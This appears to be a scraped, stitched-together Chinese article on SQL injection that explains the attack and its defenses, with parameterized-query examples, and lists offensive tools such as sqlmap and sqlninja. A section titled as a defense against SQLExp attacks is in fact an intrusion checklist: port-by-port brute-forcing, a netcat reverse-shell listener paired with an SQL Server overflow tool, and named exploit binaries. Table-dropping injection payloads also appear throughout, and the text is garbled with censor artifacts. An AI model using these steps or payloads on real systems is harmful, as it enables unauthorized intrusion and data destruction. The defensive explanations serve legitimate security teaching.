内容导读：导航目录:1、什么是SQL注入式攻击如何防范2、SQL注入哪些工具最有效3、sql注入攻击怎么解决4、怎样应对SQLExp攻击5、sql注入攻击***有哪些什么是SQL注入式攻击如何防范一、SQL注...……
导航目录:
什么是SQL注入式攻击 如何防范
一、 SQL注入攻击的简单示例。
statement := "SELECT * FROM Users WHERE Value= " + a_variable + "
上面这条语句是很普通的一条SQL语句，他主要实现的功能就是让用户输入一个员工编号然后查询处这个员工的信息。但是若这条语句被不法攻击者改装过后，就可能成为破坏数据的黑手。如攻击者在输入变量的时候，输入以下内容SA001’;drop table c_order--。那么以上这条SQL语句在执行的时候就变为了SELECT * FROM Users WHERE Value= ‘SA001’;drop table c_order--。
这条语句是什么意思呢?‘SA001’后面的分号表示一个查询的结束和另一条语句的开始。c_order后面的双连字符 指示当前行余下的部分只是一个注释，应该忽略。如果修改后的代码语法正确，则服务器将执行该代码。系统在处理这条语句时，将首先执行查询语句，查到用户编号为SA001 的用户信息。然后，数据将删除表C_ORDER(如果没有其他主键等相关约束，则删除操作就会成功)。只要注入的SQL代码语法正确，便无法采用编程方式来检测篡改。因此，必须验证所有用户输入，并仔细检查在您所用的服务器中执行构造 SQL命令的代码。
二、 SQL注入攻击原理。
可见SQL注入攻击的危害性很大。在讲解其防止办法之前，数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施。
SQL注入是目前比较常见的针对数据库的一种攻击方式。在这种攻击方式中，攻击者会将一些恶意代码插入到字符串中。然后会通过各种手段将该字符串传递到SQLServer数据库的实例中进行分析和执行。只要这个恶意代码符合SQL语句的规则，则在代码编译与执行的时候，就不会被系统所发现。
SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种 *** 。由于其直接与SQL语句捆绑，故也被称为直接注入式攻击法。二是一种间接的攻击 *** ，它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中，以执行一些恶意的SQL代码。
注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候，先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串，因此攻击者常常用注释标记“—”来终止注入的字符串。执行时，系统会认为此后语句位注释，故后续的文本将被忽略，不背编译与执行。
三、 SQL注入式攻击的防治。
既然SQL注入式攻击的危害这么大，那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻击有一定的帮助。
1、 普通用户与系统管理员用户的权限要有严格的区分。
如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句，那么是否允许执行呢?由于Drop语句关系到数据库的基本对象，故要操作这个语句用户必须有相关的权限。在权限设计中，对于终端用户，即应用软件的使用者，没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码，由于其用户权限的限制，这些代码也将无法被执行。故应用程序在设计的时候，更好把系统管理员的用户与普通用户区分开来。如此可以更大限度的减少注入式攻击对数据库带来的危害。
2、 强迫使用参数化语句。
如果在编写SQL语句的时候，用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话，那么就可以有效的防治SQL注入式攻击。也就是说，用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反，用户的输入的内容必须进行过滤，或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施，可以杜绝大部分的SQL注入式攻击。不过可惜的是，现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。
3、 加强对用户输入的验证。
总体来说，防治SQL注入式攻击可以采用两种 *** ，一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中，有比较多的用户输入内容验证工具，可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容，只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入，防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型，强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出，对于防治注入式攻击有比较明显的效果。
如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤，如拒绝一些特殊的符号。如以上那个恶意代码中，只要存储过程把那个分号过滤掉，那么这个恶意代码也就没有用武之地了。在执行SQL语句之前，可以通过数据库的存储过程，来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下，应该让数据库拒绝包含以下字符的输入。如分号分隔符，它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容，故可以直接把他拒绝掉，通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉，那么即使在SQL语句中嵌入了恶意代码，他们也将毫无作为。
故始终通过测试类型、长度、格式和范围来验证用户输入，过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。
4、 多多使用SQL Server数据库自带的安全参数。
为了减少注入式攻击对于SQL Server数据库的不良影响，在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中，工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
如在SQL Server数据库中提供了Parameters *** 。这个 *** 提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个 *** 的话，则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码，则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters *** 的另外一个优点是可以强制执行类型和长度检查，范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束，就会发生异常，并报告给管理员。如上面这个案例中，如果员工编号定义的数据类型为字符串型，长度为10个字符。而用户输入的内容虽然也是字符类型的数据，但是其长度达到了20个字符。则此时就会引发异常，因为用户输入的内容长度超过了数据库字段长度的限制。
5、 多层环境如何防治SQL注入式攻击?
在多层应用环境中，用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝，并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施，对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层认为其输入已通过验证，则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境，在防止注入式攻击的时候，需要各层一起努力，在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
使用专业的漏洞扫描工具，可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点，而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下，企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于 *** 扫描程序，它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具，可以帮助管理员发现SQL注入式漏洞，并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞，那么攻击者也就无从下手了。
SQL注入哪些工具最有效
SQL Power Injector是一款在.Net 1.1中创建的应用程序，可帮助渗透测试人员在网页上查找和利用SQL注入。
特征
支持Windows，Unix和Linux操作系统
SQL Server，Oracle，MySQL，Sybase / Adaptive Server和DB2兼容
SSL支持
自动从网页上的表单或IFrame加载参数（GET或POST）
检测并浏览框架集
自动检测网站语言的选项
检测并添加加载页面进程期间使用的Cookie（Set-Cookie检测）
自动查找提交页面，其 *** （GET或POST）以不同的颜色显示
可以直接在Datagrids中创建/修改/删除加载的字符串和Cookie参数
单个SQL注入
盲目的SQL注入
比较页面的真实和错误响应或cookie中的结果
时间延迟
SQL注入在自定义浏览器中的响应
可以使用HTML上下文颜色查看返回页面的HTML代码源并在其中搜索
微调参数和cookie注入
可以参数化预期结果的长度和计数以优化应用程序执行SQL注入所用的时间
创建/编辑预设的ASCII字符，以优化盲注SQL请求数/请求速度
多线程（最多可配置50个）
选项可以通过空的评论/ ** /针对IDS或过滤器检测来替换空间
在发送之前自动编码特殊字符
自动检测响应页面中的预定义SQL错误
在响应页面中自动检测预定义的单词或句子
实时结果
将会话保存并加载到XML文件中
自动查找正面答案和负面答案页面之间差异的功能
可以创建一个范围列表，它将替换隐藏的SQL注入字符串中的变量（gt;）并自动为您播放它们
使用文本文件中的预定义列表自动重播变量范围
Firefox插件，它将启动SQL Power Injector以及当前网页的所有信息及其会话上下文（参数和cookie）
两个集成工具：Hex和Char编码器和MS SQL @options解释器
可以编辑Referer
可以选择一个用户 *** （或者甚至在用户 *** XML文件中创建一个）
可以使用设置窗口配置应用程序
支持可配置的 ***
软件截图
地址：
ilo--，Reversing.org - sqlbftools
地址：
Bernardo Damele AG：sqlmap，自动SQL注入工具
介绍
sqlmap是一款开源渗透测试工具，可自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎，针对终极渗透测试人员的众多特性，以及从数据库指纹识别，从数据库获取数据，到访问底层文件系统以及在操作系统上执行命令的各种开关，带外连接。
特征
完全支持MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Access，IBM DB2，SQLite，Firebird，Sybase，SAP MaxDB，HSQLDB和Informix数据库管理系统。
完全支持六种SQL注入技术：基于布尔的盲，基于时间的盲，基于错误，基于UNION查询，堆栈查询和带外。
支持直接连接数据库而不通过SQL注入，通过提供DBMS凭证，IP地址，端口和数据库名称。
支持枚举用户，密码哈希，特权，角色，数据库，表和列。
自动识别密码哈希格式并支持使用基于字典的攻击对其进行破解。
支持完全转储数据库表，根据用户的选择提供一系列条目或特定列。用户也可以选择仅转储每列条目中的一系列字符。
支持搜索特定的数据库名称，跨所有数据库的特定表或所有数据库表的特定列。例如，这对于识别包含自定义应用程序凭证的表格非常有用，其中相关列的名称包含名称和传递等字符串。
当数据库软件是MySQL，PostgreSQL或Microsoft SQL Server时，支持从数据库服务器底层文件系统下载和上载任何文件。
当数据库软件是MySQL，PostgreSQL或Microsoft SQL Server时，支持执行任意命令并在数据库服务器底层操作系统上检索它们的标准输出。
支持在攻击者机器和数据库服务器底层操作系统之间建立带外状态TCP连接。该通道可以是交互式命令提示符，Meterpreter会话或图形用户界面（VNC）会话，可以根据用户的选择进行选择。
通过Metasploit的Meterpreter 命令支持数据库进程'用户权限升级
地址：
icesurfer：SQL Server接管工具 - sqlninja
介绍
喜欢从Microsoft SQL Server上的SQL注入到数据库上的完整GUI访问？采用一些新的SQL注入技巧，在注册表中添加几个远程镜头以禁用数据执行保护，混合一个自动生成调试脚本的小Perl，将所有这些放在一个带有Metasploit包装器的振动器中，只有sqlninja的攻击模块之一！
Sqlninja是一款旨在利用以Microsoft SQL Server作为后端的Web应用程序中的SQL注入漏洞的工具。
其主要目标是在易受攻击的数据库服务器上提供远程访问，即使在非常恶劣的环境中也是如此。渗透测试人员应该使用它来帮助和自动化发现SQL注入漏洞时接管数据库服务器的过程。
特征
完整的文档可以在tarball中找到，也可以在这里找到，但是这里列出了忍者的功能：
远程SQL Server的指纹（版本，执行查询的用户，用户权限，xp_cmdshell可用性，数据库身份验证模式）
数据提取，基于时间或通过DNS隧道
与Metasploit3集成，通过VNC服务器注入获得对远程数据库服务器的图形化访问，或者仅上传Meterpreter
通过vbscript或debug.exe仅上传可执行的HTTP请求（不需要FTP / TFTP）
直接和反向绑定，TCP和UDP
当没有可用于直接/反向外壳的TCP / UDP端口时，DNS隧道伪外壳，但数据库服务器可以解析外部主机名
ICMP隧道外壳，当没有TCP / UDP端口可用于直接/反向外壳，但数据库可以Ping您的盒子
蛮力的'sa'密码（2种口味：基于字典和增量）
如果找到'sa'密码，权限将升级到系统管理员组
创建自定义的xp_cmdshell，如果原始的已被删除
TCP / UDP端口可以从目标SQL Server扫描到攻击机器，以便找到目标 *** 防火墙允许的端口并将其用于反向shell
回避技术混淆了一些IDS / IPS / WAF
与churrasco.exe集成，通过令牌绑架将权限升级到w2k3上的SYSTEM
支持CVE-2010-0232，将sqlservr.exe的权限升级到SYSTEM
地址：
sql注入攻击怎么解决
百度百科：
SQL注入攻击是你需要担心的事情，不管你用什么web编程技术，再说所有的web框架都需要担心这个的。你需要遵循几条非常基本的规则：
1）在构造动态SQL语句时，一定要使用类安全（type-safe）的参数加码机制。大多数的数据API，包括ADO和ADO. NET，有这样的支持，允许你指定所提供的参数的确切类型（譬如，字符串，整数，日期等），可以保证这些参数被恰当地escaped/encoded了，来避免黑客利用它们。一定要从始到终地使用这些特性。
例如，在ADO. NET里对动态SQL，你可以象下面这样重写上述的语句，使之安全：
Dim SSN as String = Request.QueryString("SSN")
Dim cmd As new SqlCommand("SELECT au_lname,au_fname FROM authors WHERE au_id = @au_id")
Dim param = new SqlParameter("au_id",SqlDbType.VarChar)
param.Value = SSN
cmd.Parameters.Add(param)
这将防止有人试图偷偷注入另外的SQL表达式（因为ADO. NET知道对au_id的字符串值进行加码），以及避免其他数据问题（譬如不正确地转换数值类型等）。注意，VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制，ASP. NET 2.0数据源控件也是如此。
一个常见的错误知觉（misperception）是，假如你使用了存储过程或ORM，你就完全不受SQL注入攻击之害了。这是不正确的，你还是需要确定在给存储过程传递数据时你很谨慎，或在用ORM来定制一个查询时，你的做法是安全的。
2） 在部署你的应用前，始终要做安全审评（security review）。建立一个正式的安全过程（formal security process），在每次你做更新时，对所有的编码做审评。后面一点特别重要。很多次我听说开发队伍在正式上线（going live）前会做很详细的安全审评，然后在几周或几个月之后他们做一些很小的更新时，他们会跳过安全审评这关，推说，“就是一个小小的更新，我们以后再做编码审评好了”。请始终坚持做安全审评。
3） 千万别把敏感性数据在数据库里以明文存放。我个人的意见是，密码应该总是在单向（one-way)hashed过后再存放，我甚至不喜欢将它们在加密后存放。在默认设置下，ASP. NET 2.0 Membership API 自动为你这么做，还同时实现了安全的SALT 随机化行为（SALT randomization behavior）。如果你决定建立自己的成员数据库，我建议你查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵（compromised）了的话，起码你的客户的私有数据不会被人利用。
4）确认你编写了自动化的单元测试，来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的，有助于捕捉住（catch）“就是一个小小的更新，所有不会有安全问题”的情形带来的疏忽，来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。
5）锁定你的数据库的安全，只给访问数据库的web应用功能所需的更低的权限。如果web应用不需要访问某些表，那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表，那么确认你禁止它对此表的 insert/update/delete 的权限。
6）很多新手从网上下载SQL通用防注入系统的程序，在需要防范注入的页面头部用 来防止别人进行手动注入测试（。
可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟，你的管理员账号及密码就会被分析出来。
7）对于注入分析器的防范，笔者通过实验，发现了一种简单有效的防范 *** 。首先我们要知道SQL注入分析器是如何工作的。在操作过程中，发现软件并不是冲着“admin”管理员账号去的，而是冲着权限（如flag=1）去的。这样一来，无论你的管理员账号怎么变都无法逃过检测。
第三步：既然无法逃过检测，那我们就做两个账号，一个是普通的管理员账号，一个是防止注入的账号，为什么这么说呢？笔者想，如果找一个权限更大的账号制造假象，吸引软件的检测，而这个账号里的内容是大于千字以上的中文字符，就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
⒈对表结构进行修改。将管理员的账号字段的数据类型进行修改，文本型改成更大字段255（其实也够了，如果还想做得再大点，可以选择备注型），密码的字段也进行相同设置。
⒉对表进行修改。设置管理员权限的账号放在ID1，并输入大量中文字符（更好大于100个字）。
⒊把真正的管理员密码放在ID2后的任何一个位置（如放在ID549上）。
由于SQL注入攻击针对的是应用开发过程中的编程不严密，因而对于绝大多数防火墙来说，这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少，Wpoison对于用asp，php进行的开发有一定帮助...。
怎样应对SQLExp攻击
只开放必要的端口，关闭其余端口.因为在系统安装好后缺省情况下,一般都有缺省的端口对外开放， 黑客就会利用扫描工具扫描那些端口可以利用，这对安全是一个严重威胁。 端口 协议 应用程序 21 TCP FTP 25 TCP *** TP 53 TCP DNS 80 TCP HTTP SERVER 1433 TCP SQL SERVER 5631 TCP PCANYWHERE 5632 UDP PCANYWHERE 6（非端口） IP协议 8（非端口） IP协议 将下面的端口关闭 TCP 21 22 23 25 TCP *** TP 53 TCP DNS 80 135 epmap 138 [冲击波] 139 *** b 445 1025 DCE/1ff70682-0a51-30e8-076d-740be8cee98b 1026 DCE/12345778-1234-abcd-ef00-0123456789ac 1433 TCP SQL SERVER 5631 TCP PCANYWHERE 5632 UDP PCANYWHERE 3389 4444[冲击波] 4489 UDP 67[冲击波] 137 netbios-ns 161 An SNMP Agent is running/ Default community names of the SNMP Agent 端口入侵： 1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破（字典是关键） 最后SQLTools.exe入侵 对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 （以上反向的，测试成功） sqlhelloz.exe 入侵ip 1433 （这个是正向连接） 2. 4899端口入侵 用4899过滤器.exe，扫描空口令的机器 3. 3899的入侵 对很早的机器，可以试试3389的溢出(win3389ex.exe) 对2000的机器，可以试试字典暴破。(tscrack.exe) 4. 80入侵 对sp3以前的机器，可以用webdav入侵； 对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe） 可以利用SQL进行注入。（小榕的注入软件）。 5. serv-u入侵(21端口） 对5. 004及以下系统，可用溢出入侵。（serv5004.exe） 对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe） 对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs） 输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码。如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A 6. 554端口 用real554.exe入侵。 7. 6129端口 用DameWare6129.exe入侵。 8. 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 9. 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。 10. 其他入侵 利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
sql注入攻击 *** 有哪些
1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时，就会发生这种形式的注入式攻击，它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说，下面的这行代码就会演示这种漏洞： statement := "SELECT * FROM users WHERE name ='" userName "';" 这种代码的设计目的是将一个特定的用户从其用户表中取出，但是，如果用户名被一个恶意的用户用一种特定的方式伪造，这个语句所执行的操作可能就不仅仅是代码的作者所期望的那样了。例如，将用户名变量(即username)设置为： a' or 't'='t，此时原始语句发生了变化： SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果这种代码被用于一个认证过程，那么这个例子就能够强迫选择一个合法的用户名，因为赋值't'='t永远是正确的。 在一些SQL服务器上，如在SQL Server中，任何一个SQL命令都可以通过这种 *** 被注入，包括执行多个语句。下面语句中的username的值将会导致删除“users”表，又可以从“data”表中选择所有的数据(实际上就是透露了每一个用户的信息)。 a';DROP TABLE users; SELECT * FROM data WHERE name LIKE'% 这就将最终的SQL语句变成下面这个样子： SELECT * FROM users WHERE name = 'a';DROP TABLE users;SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL执行不会将执行同样查询中的多个命令作为一项安全措施。这会防止攻击者注入完全独立的查询，不过却不会阻止攻击者修改查询。
2.Incorrecttype handling 如果一个用户提供的字段并非一个强类型，或者没有实施类型强制，就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时，如果程序员没有检查用户输入的合法性(是否为数字型)就会发生这种攻击。例如： statement := "SELECT * FROM data WHERE id = " a_variable ";" 从这个语句可以看出，作者希望a_variable是一个与“id”字段有关的数字。不过，如果终端用户选择一个字符串，就绕过了对转义字符的需要。例如，将a_variable设置为:1;DROP TABLEusers，它会将“users”表从数据库中删除，SQL语句变成：SELECT * FROM DATA WHERE id = 1;DROP TABLE users;
3.数据库服务器中的漏洞 有时，数据库服务器软件中也存在着漏洞，如MYSQL服务器中mysql_real_escape_string()函数漏洞。这种漏洞允许一个攻击者根据错误的统一字符编码执行一次成功的SQL注入式攻击。
4.盲目SQL注入式攻击 当一个Web应用程序易于遭受攻击而其结果对攻击者却不见时，就会发生所谓的盲目SQL注入式攻击。有漏洞的网页可能并不会显示数据，而是根据 注入到合法语句中的逻辑语句的结果显示不同的内容。这种攻击相当耗时，因为必须为每一个获得的字节而精心构造一个新的语句。但是一旦漏洞的位置和目标信息的位置被确立以后，一种称为Absinthe的工具就可以使这种攻击自动化。
5.条件响应 注意，有一种SQL注入迫使数据库在一个普通的应用程序屏幕上计算一个逻辑语句的值： SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'AND 1=1 这会导致一个标准的面面，而语句 SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'AND 1=2在页面易于受到SQL注入式攻击时，它有可能给出一个不同的结果。如此这般的一次注入将会证明盲目的SQL注入是可能的，它会使攻击者根据另外一个 表中的某字段内容设计可以评判真伪的语句。
6.条件性差错 如果WHERE语句为真，这种类型的盲目SQL注入会迫使数据库评判一个引起错误的语句，从而导致一个SQL错误。例如： SELECT 1/0 FROM users WHERE username='Ralph'。显然，如果用户Ralph存在的话，被零除将导致错误。
7.时间延误 时间延误是一种盲目的SQL注入，根据所注入的逻辑，它可以导致SQL引擎执行一个长队列或者是一个时间延误语句。攻击者可以衡量页面加载的时间，从而决定所注入的语句是否为真。 以上仅是对SQL攻击的粗略分类。但从技术上讲，如今的SQL注入攻击者们在如何找出有漏洞的网站方面更加聪明，也更加全面了。出现了一些新型的SQL攻击手段。黑客们可以使用各种工具来加速漏洞的利用过程。我们不妨看看theAsprox Trojan这种木马，它主要通过一个发布邮件的僵尸 *** 来传播，其整个工作过程可以这样描述：首先，通过受到控制的主机发送的垃圾邮件将此木马安装到电脑上，然后，受到此木马感染的电脑会下载一段二进制代码，在其启动时，它会使用搜索引擎搜索用微软的 ASP技术建立表单的、有漏洞的网站。搜索的结果就成为SQL注入攻击的靶子清单。接着，这个木马会向这些站点发动SQL注入式攻击，使有些网站受到控制、破坏。访问这些受到控制和破坏的网站的用户将会受到欺骗，从另外一个站点下载一段恶意的JavaScript代码。最后，这段代码将用户指引到第三个站点，这里有更多的恶意软件，如窃取口令的木马。 以前，经常有人警告或建议Web应用程序的程序员们对其代码进行测试并打补丁，虽然SQL注入漏洞被发现和利用的机率并不太高。但近来攻击者们越来越多地发现并恶意地利用这些漏洞。因此，在部署其软件之前，开发人员应当更加主动地测试其代码，并在新的漏洞出现后立即对代码打补丁。
如果你是一个开发者，那么你需要：
1.使用参数化的过滤性语句 要防御SQL注入，用户的输入就绝对不能直接被嵌入到SQL语句中。恰恰相反，用户的输入必须进行过滤，或者使用参数化的语句。参数化的语句使用参数而不是将用户输入嵌入到语句中。在多数情况中，SQL语句就得以修正。然后，用户输入就被限于一个参数。下面是一个使用Java和JDBC API例子： PreparedStatement prep =conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?"); prep.setString(1, pwd); 总体上讲，有两种 *** 可以保证应用程序不易受到SQL注入的攻击，一是使用代码复查，二是强迫使用参数化语句的。强迫使用参数化的语句意味着嵌入用户输入的SQL语句在运行时将被拒绝。不过，目前支持这种特性的并不多。如H2 数据库引擎就支持。
2.还要避免使用解释程序，因为这正是黑客们借以执行非法命令的手段。
3.防范SQL注入，还要避免出现一些详细的错误消息，因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。
4.使用专业的漏洞扫描工具。但防御SQL注入攻击也是不够的。攻击者们目前正在自动搜索攻击目标并实施攻击。其技术甚至可以轻易地被应用于其它的Web架构中的漏洞。企业应当投资于一些专业的漏洞扫描工具，如大名鼎鼎的Acunetix的Web漏洞扫描程序等。一个完善的漏洞扫描程序不同于网 络扫描程序，它专门查找网站上的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。
5.最后一点，企业要在Web应用程序开发过程的所有阶段实施代码的安全检查。首先，要在部署Web应用之前实施安全测试，这种措施的意义比以前更大、更深远。企业还应当在部署之后用漏洞扫描工具和站点监视工具对网站进行测试。